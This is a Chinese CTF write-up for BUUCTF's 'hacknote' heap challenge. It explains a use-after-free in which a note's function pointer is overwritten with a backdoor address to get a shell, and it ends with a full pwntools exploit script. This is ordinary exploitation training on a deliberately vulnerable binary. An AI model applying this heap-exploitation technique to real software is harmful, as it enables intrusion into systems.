BUUCTF[PWN][堆]
题目:BUUCTF在线评测 (buuoj.cn)
-
程序del是没有将申请的指针清零,导致可以再次调用输出print。
-
查看add_note函数:根据当前 notelist 是否为空,来申请了一个8字节的空间将地址(指针)放在notelist[i]中,申请的空间的前4个字节用来存放 print_note_content 信息。然后又在该申请的空间的后4个字节中,放上了新申请的空间的地址,用来存放后续read输入的字符串。
-
再看一下del_note函数:先是检查了一下index的范围,再检检查一下当前的notelist列表上是否为空,即检查add时第一步申请的空间的指针,后续释放了两次的空间,但是有个问题:该notelist表还没有清空,指向这个地址的指针还存在于notelist中。
-
再查看print_note函数:同样检查了index是否查出范围,然后判断当前notelist是否为空,如果指针再里面就直接通过指针调用puts函数输出note的内容。
-
所以我们可以利用UAF,用magic函数的地址来,覆盖掉print_note_content的地址,这样再调用输出时就会直接执行sytem(“/bin/sh”),拿到shell。
- 先申请两个较大的堆:size=20,但是直接给了32个字节,所以用户申请的空间和程序实际分配的空间不一定相当。
- 再释放掉这两个堆:申请的4个空间都进入Tcache bin中,相同的大小再统一个数组中,每个数组中一个链表,上面的是先进入的,下面是后进入的,Tcache 的后入先出原则,下次会将下面的先出链表。
-
再申请一个10大小的note:可以看到,程序直接将之前free的两个0x10大小的空间分配给了用户,一个用来参访print_note_content函数内容(add中先申请的,下面的先出链表),一个用来存放read输入的字符串(add中后申请的,上面后出链表)。
-
此时仔细观察,就会的发现我们第三次输入的值 cccc ,覆盖掉了第一次申请的堆(0x20大小)中存放的print_note_content函数的地址,如果此时直接调用print_note,就会执行我们输入的值所指向的地址出的代码,所以直接用 magic函数的地址 来作为第三次的输入,覆盖掉原本 print_note_content函数的地址 ,从而挟持程序的控制流,即使在print_note内部检查时,由于(¬elist)[0]处的值不为0(因为程序调用del_note释放时没有清零),仍会执行magic函数。
此时index=1和index=2的输出都会是 cccc ,因为题目调用的是同一片空间上的函数地址.UAF的魅力就在于次.
-
EXP:
from pwn import * from LibcSearcher import * context(os='linux', arch='amd64', log_level='debug') # p = remote("node5.buuoj.cn",26733) p = process("./hacknote") def add(size_,context_): p.sendlineafter(b'Your choice :',b'1') p.sendlineafter(b'Note size :',str(size_).encode()) p.sendlineafter(b'Content :',context_.encode()) def free(index): p.sendlineafter(b'Your choice :',b'2') p.sendlineafter(b'Index :',str(index).encode()) def printf(index): p.sendlineafter(b'Your choice :',b'3') p.sendlineafter(b'Index :',str(index).encode()) add(20,"aaaa") add(20,"bbb") free(0) free(1) #利用UAF p.sendlineafter(b'Your choice :',b'1') p.sendlineafter(b'Note size :',b'10') p.sendline(p32(0x08048945)) #调用后门函数 printf(0) p.sendline(b'cat flag') p.interactive()